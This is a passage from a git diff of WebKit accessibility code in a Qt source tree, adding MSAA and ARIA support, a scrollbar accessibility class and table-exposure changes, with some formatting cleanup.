+
+    if (renderer->isListItem())
+        return ListItemRole;
+
+    return UnknownRole;
+}
+
+AccessibilityRole AccessibilityRenderObject::roleValueForMSAA() const
+{
+    if (m_roleForMSAA != UnknownRole)
+        return m_roleForMSAA;
+
+    m_roleForMSAA = msaaRoleForRenderer(m_renderer);
+
+    if (m_roleForMSAA == UnknownRole)
+        m_roleForMSAA = roleValue();
+
+    return m_roleForMSAA;
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.h
index c6fd748..244eb60 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityRenderObject.h
@@ -62,7 +62,7 @@ public:
     static PassRefPtr<AccessibilityRenderObject> create(RenderObject*);
     virtual ~AccessibilityRenderObject();
     
-    bool isAccessibilityRenderObject() const { return true; };
+    bool isAccessibilityRenderObject() const { return true; }
     
     virtual bool isAnchor() const;
     virtual bool isAttachment() const;
@@ -96,20 +96,26 @@ public:
     virtual bool isHovered() const;
     virtual bool isIndeterminate() const;
     virtual bool isLoaded() const;
-    virtual bool isMultiSelect() const;
+    virtual bool isMultiSelectable() const;
     virtual bool isOffScreen() const;
     virtual bool isPressed() const;
     virtual bool isReadOnly() const;
     virtual bool isVisited() const;        
     virtual bool isRequired() const;
+    virtual bool isLinked() const;
+    virtual bool isExpanded() const;
+    virtual void setIsExpanded(bool);
 
     const AtomicString& getAttribute(const QualifiedName&) const;
     virtual bool canSetFocusAttribute() const;
     virtual bool canSetTextRangeAttributes() const;
     virtual bool canSetValueAttribute() const;
-    
+    virtual bool canSetExpandedAttribute() const;
+
     virtual bool hasIntValue() const;
     
+    // Provides common logic used by all elements when determining isIgnored.
+    AccessibilityObjectInclusion accessibilityIsIgnoredBase() const;
     virtual bool accessibilityIsIgnored() const;
     
     virtual int headingLevel() const;
@@ -119,7 +125,9 @@ public:
     virtual float maxValueForRange() const;
     virtual float minValueForRange() const;
     virtual AccessibilityObject* selectedRadioButton();
+    virtual AccessibilityObject* selectedTabItem();
     virtual int layoutCount() const;
+    virtual double estimatedLoadingProgress() const;
     
     virtual AccessibilityObject* doAccessibilityHitTest(const IntPoint&) const;
     virtual AccessibilityObject* focusedUIElement() const;
@@ -136,6 +144,8 @@ public:
     virtual AccessibilityObject* correspondingControlForLabelElement() const;
     virtual AccessibilityObject* correspondingLabelForControlElement() const;
 
+    virtual void ariaOwnsElements(AccessibilityChildrenVector&) const;
+    virtual bool supportsARIAOwns() const;
     virtual AccessibilityRole ariaRoleAttribute() const;
     virtual bool isPresentationalChildOfAriaRole() const;
     virtual bool ariaRoleHasPresentationalChildren() const;
@@ -167,7 +177,6 @@ public:
     virtual PlainTextRange selectedTextRange() const;
     virtual VisibleSelection selection() const;
     virtual String stringValue() const;
-    virtual String ariaAccessibilityName(const String&) const;
     virtual String ariaLabeledByAttribute() const;
     virtual String title() const;
     virtual String ariaDescribedByAttribute() const;
@@ -184,23 +193,30 @@ public:
     virtual Widget* widgetForAttachmentView() const;
     virtual void getDocumentLinks(AccessibilityChildrenVector&);
     virtual FrameView* documentFrameView() const;
-    virtual String language() const;
-    
+    virtual unsigned hierarchicalLevel() const;
+
     virtual const AccessibilityChildrenVector& children();
+    virtual void clearChildren();
+    void updateChildrenIfNecessary();
     
     virtual void setFocused(bool);
     virtual void setSelectedTextRange(const PlainTextRange&);
     virtual void setValue(const String&);
+    virtual void setSelected(bool);
+    virtual void setSelectedRows(AccessibilityChildrenVector&);
     virtual void changeValueByPercent(float percentChange);
+    virtual AccessibilityOrientation orientation() const;
     virtual void increment();
     virtual void decrement();
     
     virtual void detach();
     virtual void childrenChanged();
+    virtual void contentChanged();
     virtual void addChildren();
     virtual bool canHaveChildren() const;
     virtual void selectedChildren(AccessibilityChildrenVector&);
     virtual void visibleChildren(AccessibilityChildrenVector&);
+    virtual void tabChildren(AccessibilityChildrenVector&);
     virtual bool shouldFocusActiveDescendant() const;
     virtual AccessibilityObject* activeDescendant() const;
     virtual void handleActiveDescendantChanged();
@@ -209,6 +225,14 @@ public:
     virtual VisiblePositionRange visiblePositionRangeForLine(unsigned) const;
     virtual IntRect boundsForVisiblePositionRange(const VisiblePositionRange&) const;
     virtual void setSelectedVisiblePositionRange(const VisiblePositionRange&) const;
+    virtual bool supportsARIAFlowTo() const;
+    virtual void ariaFlowToElements(AccessibilityChildrenVector&) const;
+
+    virtual bool supportsARIADropping() const;
+    virtual bool supportsARIADragging() const;
+    virtual bool isARIAGrabbed();
+    virtual void setARIAGrabbed(bool);
+    virtual void determineARIADropEffects(Vector<String>&);
     
     virtual VisiblePosition visiblePositionForPoint(const IntPoint&) const;
     virtual VisiblePosition visiblePositionForIndex(unsigned indexValue, bool lastIndexOK) const;    
@@ -224,13 +248,21 @@ public:
     virtual IntRect doAXBoundsForRange(const PlainTextRange&) const;
     
     virtual void updateBackingStore();
-    
+
+    virtual String stringValueForMSAA() const;
+    virtual String stringRoleForMSAA() const;
+    virtual String nameForMSAA() const;
+    virtual String descriptionForMSAA() const;
+    virtual AccessibilityRole roleValueForMSAA() const;
+
 protected:
     RenderObject* m_renderer;
     AccessibilityRole m_ariaRole;
     mutable bool m_childrenDirty;
     
     void setRenderObject(RenderObject* renderer) { m_renderer = renderer; }
+    void ariaLabeledByElements(Vector<Element*>& elements) const;
+    bool needsToUpdateChildren() const { return m_childrenDirty; }
     
     virtual bool isDetached() const { return !m_renderer; }
 
@@ -238,19 +270,40 @@ private:
     void ariaListboxSelectedChildren(AccessibilityChildrenVector&);
     void ariaListboxVisibleChildren(AccessibilityChildrenVector&);
     bool ariaIsHidden() const;
+    bool isDescendantOfBarrenParent() const;
+    bool isAllowedChildOfTree() const;
+    bool hasTextAlternative() const;
+    String positionalDescriptionForMSAA() const;
+    virtual String language() const;
 
     Element* menuElementForMenuButton() const;
     Element* menuItemElementForMenu() const;
     AccessibilityRole determineAccessibilityRole();
     AccessibilityRole determineAriaRoleAttribute() const;
 
+    bool isTabItemSelected() const;
     IntRect checkboxOrRadioRect() const;
     void addRadioButtonGroupMembers(AccessibilityChildrenVector& linkedUIElements) const;
     AccessibilityObject* internalLinkElement() const;
     AccessibilityObject* accessibilityImageMapHitTest(HTMLAreaElement*, const IntPoint&) const;
     AccessibilityObject* accessibilityParentForImageMap(HTMLMapElement* map) const;
 
-    void markChildrenDirty() const { m_childrenDirty = true; }
+    void ariaSelectedRows(AccessibilityChildrenVector&);
+    
+    bool elementAttributeValue(const QualifiedName&) const;
+    void setElementAttributeValue(const QualifiedName&, bool);
+    
+    String accessibilityDescriptionForElements(Vector<Element*> &elements) const;
+    void elementsFromAttribute(Vector<Element*>& elements, const QualifiedName& name) const;
+    
+    virtual const AtomicString& ariaLiveRegionStatus() const;
+    virtual const AtomicString& ariaLiveRegionRelevant() const;
+    virtual bool ariaLiveRegionAtomic() const;
+    virtual bool ariaLiveRegionBusy() const;    
+    
+    void setNeedsToUpdateChildren() const { m_childrenDirty = true; }
+    
+    mutable AccessibilityRole m_roleForMSAA;
 };
     
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.cpp
new file mode 100644
index 0000000..717d0da
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "AccessibilityScrollbar.h"
+
+#include "Scrollbar.h"
+
+namespace WebCore {
+
+AccessibilityScrollbar::AccessibilityScrollbar()
+    : m_scrollbar(0)
+{
+}
+
+PassRefPtr<AccessibilityScrollbar> AccessibilityScrollbar::create()
+{
+    return adoptRef(new AccessibilityScrollbar);
+}
+
+float AccessibilityScrollbar::valueForRange() const
+{
+    if (!m_scrollbar)
+        return 0;
+    return m_scrollbar->currentPos();
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.h
new file mode 100644
index 0000000..d75e60c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityScrollbar.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+ 
+#ifndef AccessibilityScrollbar_h
+#define AccessibilityScrollbar_h
+
+#include "AccessibilityObject.h"
+
+namespace WebCore {
+
+class Scrollbar;
+
+class AccessibilityScrollbar : public AccessibilityObject {
+public:
+    static PassRefPtr<AccessibilityScrollbar> create();
+
+    void setScrollbar(Scrollbar* scrollbar) { m_scrollbar = scrollbar; }
+
+    virtual AccessibilityRole roleValue() const { return ScrollBarRole; }
+
+    virtual float valueForRange() const;
+
+private:
+    AccessibilityScrollbar();
+
+    virtual bool accessibilityIsIgnored() const { return false; }
+
+    // These should never be reached since the AccessibilityScrollbar is not part of
+    // the accessibility tree.
+    virtual IntSize size() const { ASSERT_NOT_REACHED(); return IntSize(); }
+    virtual IntRect elementRect() const { ASSERT_NOT_REACHED(); return IntRect(); }
+    virtual AccessibilityObject* parentObject() const { ASSERT_NOT_REACHED(); return 0; }
+
+    Scrollbar* m_scrollbar;
+};
+
+} // namespace WebCore
+
+#endif // AccessibilityScrollbar_h
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.cpp
index 5aca672..e8d1f41 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.cpp
@@ -68,18 +68,18 @@ AccessibilityOrientation AccessibilitySlider::orientation() const
     
     ControlPart styleAppearance = style->appearance();
     switch (styleAppearance) {
-        case SliderThumbHorizontalPart:
-        case SliderHorizontalPart:
-        case MediaSliderPart:
-            return AccessibilityOrientationHorizontal;
+    case SliderThumbHorizontalPart:
+    case SliderHorizontalPart:
+    case MediaSliderPart:
+        return AccessibilityOrientationHorizontal;
+    
+    case SliderThumbVerticalPart: 
+    case SliderVerticalPart:
+    case MediaVolumeSliderPart:
+        return AccessibilityOrientationVertical;
         
-        case SliderThumbVerticalPart: 
-        case SliderVerticalPart:
-        case MediaVolumeSliderPart:
-            return AccessibilityOrientationVertical;
-            
-        default:
-            return AccessibilityOrientationHorizontal;
+    default:
+        return AccessibilityOrientationHorizontal;
     }
 }
     
@@ -99,6 +99,17 @@ const AtomicString& AccessibilitySlider::getAttribute(const QualifiedName& attri
     return element()->getAttribute(attribute);
 }
 
+bool AccessibilitySlider::accessibilityIsIgnored() const
+{
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
+    return false;
+}
+    
 float AccessibilitySlider::valueForRange() const
 {
     return element()->value().toFloat();
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.h
index 254ebdd..461f62b 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilitySlider.h
@@ -33,58 +33,58 @@
 
 namespace WebCore {
 
-    class HTMLInputElement;
+class HTMLInputElement;
 
-    class AccessibilitySlider : public AccessibilityRenderObject {
-        
-    public:
-        static PassRefPtr<AccessibilitySlider> create(RenderObject*);
-        virtual ~AccessibilitySlider() { }
+class AccessibilitySlider : public AccessibilityRenderObject {
+    
+public:
+    static PassRefPtr<AccessibilitySlider> create(RenderObject*);
+    virtual ~AccessibilitySlider() { }
 
-        virtual AccessibilityRole roleValue() const { return SliderRole; }
-        virtual bool accessibilityIsIgnored() const { return false; }
+    virtual AccessibilityRole roleValue() const { return SliderRole; }
 
-        virtual bool isSlider() const { return true; }
+    virtual bool isSlider() const { return true; }
 
-        virtual const AccessibilityChildrenVector& children();
-        virtual void addChildren();
+    virtual const AccessibilityChildrenVector& children();
+    virtual void addChildren();
 
-        virtual bool canSetValueAttribute() const { return true; };
-        const AtomicString& getAttribute(const QualifiedName& attribute) const;
+    virtual bool canSetValueAttribute() const { return true; }
+    const AtomicString& getAttribute(const QualifiedName& attribute) const;
 
-        virtual void setValue(const String&);
-        virtual float valueForRange() const;
-        virtual float maxValueForRange() const;
-        virtual float minValueForRange() const;
-        virtual AccessibilityOrientation orientation() const;
+    virtual void setValue(const String&);
+    virtual float valueForRange() const;
+    virtual float maxValueForRange() const;
+    virtual float minValueForRange() const;
+    virtual AccessibilityOrientation orientation() const;
 
-    protected:
-        AccessibilitySlider(RenderObject*);
+protected:
+    AccessibilitySlider(RenderObject*);
 
-    private:
-        HTMLInputElement* element() const;
-    };
+private:
+    HTMLInputElement* element() const;
+    virtual bool accessibilityIsIgnored() const;
+};
 
-    class AccessibilitySliderThumb : public AccessibilityObject {
-        
-    public:
-        static PassRefPtr<AccessibilitySliderThumb> create();
-        virtual ~AccessibilitySliderThumb() { }
+class AccessibilitySliderThumb : public AccessibilityObject {
+    
+public:
+    static PassRefPtr<AccessibilitySliderThumb> create();
+    virtual ~AccessibilitySliderThumb() { }
 
-        virtual AccessibilityRole roleValue() const { return SliderThumbRole; }
-        virtual bool accessibilityIsIgnored() const { return false; }
+    virtual AccessibilityRole roleValue() const { return SliderThumbRole; }
 
-        void setParentObject(AccessibilitySlider* slider) { m_parentSlider = slider; }
-        virtual AccessibilityObject* parentObject() const { return m_parentSlider; }
+    void setParentObject(AccessibilitySlider* slider) { m_parentSlider = slider; }
+    virtual AccessibilityObject* parentObject() const { return m_parentSlider; }
 
-        virtual IntSize size() const;
-        virtual IntRect elementRect() const;
+    virtual IntSize size() const;
+    virtual IntRect elementRect() const;
 
-    private:
-        AccessibilitySliderThumb();
+private:
+    AccessibilitySliderThumb();
+    virtual bool accessibilityIsIgnored() const { return false; }
 
-        AccessibilitySlider* m_parentSlider;
-    };
+    AccessibilitySlider* m_parentSlider;
+};
 
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.cpp
index 928ef2c..aed8867 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.cpp
@@ -29,15 +29,15 @@
 #include "config.h"
 #include "AccessibilityTable.h"
 
+#include "AXObjectCache.h"
 #include "AccessibilityTableCell.h"
 #include "AccessibilityTableColumn.h"
 #include "AccessibilityTableHeaderContainer.h"
 #include "AccessibilityTableRow.h"
-#include "AXObjectCache.h"
 #include "HTMLNames.h"
-#include "HTMLTableElement.h"
 #include "HTMLTableCaptionElement.h"
 #include "HTMLTableCellElement.h"
+#include "HTMLTableElement.h"
 #include "RenderObject.h"
 #include "RenderTable.h"
 #include "RenderTableCell.h"
@@ -94,6 +94,11 @@ bool AccessibilityTable::isTableExposableThroughAccessibility()
     Node* tableNode = table->node();
     if (!tableNode || !tableNode->hasTagName(tableTag))
         return false;
+
+    // Gtk+ ATs expect all tables to be exposed as tables.
+#if PLATFORM(GTK)
+    return true;
+#endif
     
     // if there is a caption element, summary, THEAD, or TFOOT section, it's most certainly a data table
     HTMLTableElement* tableElement = static_cast<HTMLTableElement*>(tableNode);
@@ -149,8 +154,8 @@ bool AccessibilityTable::isTableExposableThroughAccessibility()
             HTMLTableCellElement* cellElement = static_cast<HTMLTableCellElement*>(cellNode);
             
             // in this case, the developer explicitly assigned a "data" table attribute
-            if (!cellElement->headers().isEmpty() || !cellElement->abbr().isEmpty() || 
-                !cellElement->axis().isEmpty() || !cellElement->scope().isEmpty())
+            if (!cellElement->headers().isEmpty() || !cellElement->abbr().isEmpty()
+                || !cellElement->axis().isEmpty() || !cellElement->scope().isEmpty())
                 return true;
             
             RenderStyle* renderStyle = cell->style();
@@ -158,15 +163,15 @@ bool AccessibilityTable::isTableExposableThroughAccessibility()
                 continue;
 
             // a cell needs to have matching bordered sides, before it can be considered a bordered cell.
-            if ((cell->borderTop() > 0 && cell->borderBottom() > 0) ||
-                (cell->borderLeft() > 0 && cell->borderRight() > 0))
+            if ((cell->borderTop() > 0 && cell->borderBottom() > 0)
+                || (cell->borderLeft() > 0 && cell->borderRight() > 0))
                 borderedCellCount++;
             
             // if the cell has a different color from the table and there is cell spacing,
             // then it is probably a data table cell (spacing and colors take the place of borders)
             Color cellColor = renderStyle->backgroundColor();
-            if (table->hBorderSpacing() > 0 && table->vBorderSpacing() > 0 && 
-                tableBGColor != cellColor && cellColor.alpha() != 1)
+            if (table->hBorderSpacing() > 0 && table->vBorderSpacing() > 0
+                && tableBGColor != cellColor && cellColor.alpha() != 1)
                 backgroundDifferenceCellCount++;
             
             // if we've found 10 "good" cells, we don't need to keep searching
@@ -193,10 +198,9 @@ bool AccessibilityTable::isTableExposableThroughAccessibility()
     
 void AccessibilityTable::clearChildren()
 {
-    m_children.clear();
+    AccessibilityRenderObject::clearChildren();
     m_rows.clear();
     m_columns.clear();
-    m_haveChildren = false;
 }
 
 void AccessibilityTable::addChildren()
@@ -251,7 +255,12 @@ void AccessibilityTable::addChildren()
                 
                 row->setRowIndex((int)m_rows.size());        
                 m_rows.append(row);
-                m_children.append(row);
+                if (!row->accessibilityIsIgnored())
+                    m_children.append(row);
+#if PLATFORM(GTK)
+                else
+                    m_children.append(row->children());
+#endif
                 appendedRows.add(row);
             }
         }
@@ -266,11 +275,12 @@ void AccessibilityTable::addChildren()
         column->setColumnIndex((int)i);
         column->setParentTable(this);
         m_columns.append(column);
-        m_children.append(column);
+        if (!column->accessibilityIsIgnored())
+            m_children.append(column);
     }
     
     AccessibilityObject* headerContainerObject = headerContainer();
-    if (headerContainerObject)
+    if (headerContainerObject && !headerContainerObject->accessibilityIsIgnored())
         m_children.append(headerContainerObject);
 }
     
@@ -287,17 +297,15 @@ AccessibilityObject* AccessibilityTable::headerContainer()
 
 AccessibilityObject::AccessibilityChildrenVector& AccessibilityTable::columns()
 {
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
         
     return m_columns;
 }
 
 AccessibilityObject::AccessibilityChildrenVector& AccessibilityTable::rows()
 {
-    if (!hasChildren())
-        addChildren();
-
+    updateChildrenIfNecessary();
+    
     return m_rows;
 }
     
@@ -306,8 +314,7 @@ void AccessibilityTable::rowHeaders(AccessibilityChildrenVector& headers)
     if (!m_renderer)
         return;
     
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     unsigned rowCount = m_rows.size();
     for (unsigned k = 0; k < rowCount; ++k) {
@@ -323,8 +330,7 @@ void AccessibilityTable::columnHeaders(AccessibilityChildrenVector& headers)
     if (!m_renderer)
         return;
     
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     unsigned colCount = m_columns.size();
     for (unsigned k = 0; k < colCount; ++k) {
@@ -340,8 +346,7 @@ void AccessibilityTable::cells(AccessibilityObject::AccessibilityChildrenVector&
     if (!m_renderer)
         return;
     
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     int numRows = m_rows.size();
     for (int row = 0; row < numRows; ++row) {
@@ -352,16 +357,14 @@ void AccessibilityTable::cells(AccessibilityObject::AccessibilityChildrenVector&
     
 unsigned AccessibilityTable::columnCount()
 {
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     return m_columns.size();    
 }
     
 unsigned AccessibilityTable::rowCount()
 {
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     return m_rows.size();
 }
@@ -371,8 +374,7 @@ AccessibilityTableCell* AccessibilityTable::cellForColumnAndRow(unsigned column,
     if (!m_renderer || !m_renderer->isTable())
         return 0;
     
-    if (!hasChildren())
-        addChildren();
+    updateChildrenIfNecessary();
     
     RenderTable* table = toRenderTable(m_renderer);
     RenderTableSection* tableSection = table->header();
@@ -448,9 +450,15 @@ AccessibilityRole AccessibilityTable::roleValue() const
     
 bool AccessibilityTable::accessibilityIsIgnored() const
 {
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
     if (!isDataTable())
         return AccessibilityRenderObject::accessibilityIsIgnored();
-    
+        
     return false;
 }
     
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.h
index b6aa3ca..42edf2a 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTable.h
@@ -63,6 +63,7 @@ public:
     AccessibilityChildrenVector& columns();
     AccessibilityChildrenVector& rows();
     
+    virtual bool supportsSelectedRows() { return false; }
     unsigned columnCount();
     unsigned rowCount();
     
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableCell.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableCell.cpp
index 7674cb8..318c619 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableCell.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableCell.cpp
@@ -56,6 +56,12 @@ PassRefPtr<AccessibilityTableCell> AccessibilityTableCell::create(RenderObject*
 
 bool AccessibilityTableCell::accessibilityIsIgnored() const
 {
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
     if (!isTableCell())
         return AccessibilityRenderObject::accessibilityIsIgnored();
     
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.cpp
index e09d65e..5872706 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.cpp
@@ -29,12 +29,12 @@
 #include "config.h"
 #include "AccessibilityTableColumn.h"
 
-#include "AccessibilityTableCell.h"
 #include "AXObjectCache.h"
+#include "AccessibilityTableCell.h"
 #include "HTMLNames.h"
 #include "RenderTable.h"
-#include "RenderTableSection.h"
 #include "RenderTableCell.h"
+#include "RenderTableSection.h"
 
 using namespace std;
 
@@ -158,6 +158,18 @@ AccessibilityObject* AccessibilityTableColumn::headerObjectForSection(RenderTabl
     return m_parentTable->axObjectCache()->getOrCreate(cell);
 }
     
+bool AccessibilityTableColumn::accessibilityIsIgnored() const
+{
+    if (!m_parentTable)
+        return true;
+    
+#if PLATFORM(GTK)
+    return true;
+#endif
+    
+    return m_parentTable->accessibilityIsIgnored();
+}
+    
 void AccessibilityTableColumn::addChildren()
 {
     ASSERT(!m_haveChildren); 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.h
index 6270398..15d300c 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableColumn.h
@@ -49,8 +49,8 @@ public:
     virtual AccessibilityObject* parentObject() const { return m_parentTable; }
     AccessibilityObject* headerObject();
         
+    virtual bool accessibilityIsIgnored() const;
     virtual AccessibilityRole roleValue() const { return ColumnRole; }
-    virtual bool accessibilityIsIgnored() const { return false; }
     virtual bool isTableColumn() const { return true; }
     
     void setColumnIndex(int columnIndex) { m_columnIndex = columnIndex; }
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.cpp
index af9de39..e2da83c 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.cpp
@@ -29,8 +29,8 @@
 #include "config.h"
 #include "AccessibilityTableHeaderContainer.h"
 
-#include "AccessibilityTable.h"
 #include "AXObjectCache.h"
+#include "AccessibilityTable.h"
 
 using namespace std;
 
@@ -68,6 +68,18 @@ IntSize AccessibilityTableHeaderContainer::size() const
     return elementRect().size();
 }
     
+bool AccessibilityTableHeaderContainer::accessibilityIsIgnored() const
+{
+    if (!m_parentTable)
+        return true;
+    
+#if PLATFORM(GTK)
+    return true;
+#endif
+
+    return m_parentTable->accessibilityIsIgnored();
+}
+
 void AccessibilityTableHeaderContainer::addChildren()
 {
     ASSERT(!m_haveChildren); 
@@ -79,9 +91,8 @@ void AccessibilityTableHeaderContainer::addChildren()
     static_cast<AccessibilityTable*>(m_parentTable)->columnHeaders(m_children);
     
     unsigned length = m_children.size();
-    for (unsigned k = 0; k < length; ++k) {
+    for (unsigned k = 0; k < length; ++k)
         m_headerRect.unite(m_children[k]->elementRect());
-    }
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.h
index 8a9448a..79521c0 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableHeaderContainer.h
@@ -48,8 +48,6 @@ public:
     void setParentTable(AccessibilityTable* table) { m_parentTable = table; }
     virtual AccessibilityObject* parentObject() const { return m_parentTable; }
     
-    virtual bool accessibilityIsIgnored() const { return false; }
-    
     virtual const AccessibilityChildrenVector& children();
     virtual void addChildren();
     
@@ -60,6 +58,7 @@ private:
     AccessibilityTable* m_parentTable;
     IntRect m_headerRect;
     
+    virtual bool accessibilityIsIgnored() const;
 }; 
     
 } // namespace WebCore 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableRow.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableRow.cpp
index 53b479e..e2a1157 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableRow.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityTableRow.cpp
@@ -29,8 +29,8 @@
 #include "config.h"
 #include "AccessibilityTableRow.h"
 
